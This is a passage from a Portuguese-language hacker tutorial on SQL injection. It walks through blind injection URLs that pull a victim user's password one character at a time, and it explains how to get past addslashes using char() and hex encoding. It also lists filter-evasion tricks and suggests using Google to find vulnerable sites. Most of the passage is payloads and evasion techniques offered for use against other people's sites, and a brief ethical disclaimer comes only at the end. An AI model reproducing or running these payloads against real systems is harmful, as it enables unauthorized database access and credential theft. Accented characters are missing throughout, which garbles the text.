Agora a pgina no exibida, pois s em ASCII 115. Vamos tentar 113: http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 113 A pgina exibida, ento temos um caractere ASCII entre 113 e 117. http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 114 TRUE novamente. http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 115 FALSE! Isso significa que 115! Ou, em caracteres, a letra s. Para pegar o prximo caractere da senha, no caso, e, fazemos o mesmo, porm, vamos mudar a substring: http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),2,1)) SQL sem aspas Provavelmente, enquanto estava injetando SQL em alguma pgina - no adianta negar que no tentou - provavelmente, deve ter recebido um erro semelhante a este:
------------------------------------------------------------------------------------------------------You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \ at line 1 -------------------------------------------------------------------------------------------------------

Pois bem, o administrador tentou proteger seu sistema utilizando uma funo que adiciona uma barra invertida \ antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer grande parte da SQL sem aspas , mas quando forem necessrias, podemos utilizar de vrios meios para burlar essa proteo. Um deles, para MySQL, converter cada caractere para seu valor ASCII e utilizar o seguinte formato: char (11,22,33,44,55) Em SQL Server, voc pode utilizar uma soluo parecida: char (11) + char (22) + char (33) + char (44) + char (55) Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da constante, deste modo:

0x1122334455 SQL Tricks (truques) Bom, aqui esto algumas consideraes que podem ser decisivas na hora de uma boa SQL: -- (dois sinais menos) so sinais de comentrios padro, mas dependendo do sistema, devese usar /* ou #); s vezes, o sistema bloqueia espaos no campo de id, para burlar isso e juntar tudo, podemos utilizar %20 no lugar de espaos e %27 no lugar de aspas simples; quando isso no funciona, podemos substituir espaos por char(0x20), por +, e em MySQL, s vezes, por /**/; se estiver trabalhando em sistemas com que se orientam por IDs e nmeros em geral, no use aspas duplas ou aspas simples, pois no se usa qualquer tratamento diferente com nmeros, ao contrrio das strings; scanners so para lammers, se quiser achar alguma pgina vulnervel, utilize o Google; tudo varia muito, cada site tem sua prpria plataforma, dialeto, padres e forma de trabalhar diferente, aqui eu procurei ser bastante genrico falando do SQL Server e do MySQL, mas no disse tudo; Finalizando Eu gostaria de pedir que o caro leitor no utilize este conhecimento como lammer, ou como script-kiddie, mas sim como um ser humano maduro que hackeia apenas para contemplar as falhas do sistema. Creio que com esta matria eu tornei o mundo o lugar melhor.

Você também pode gostar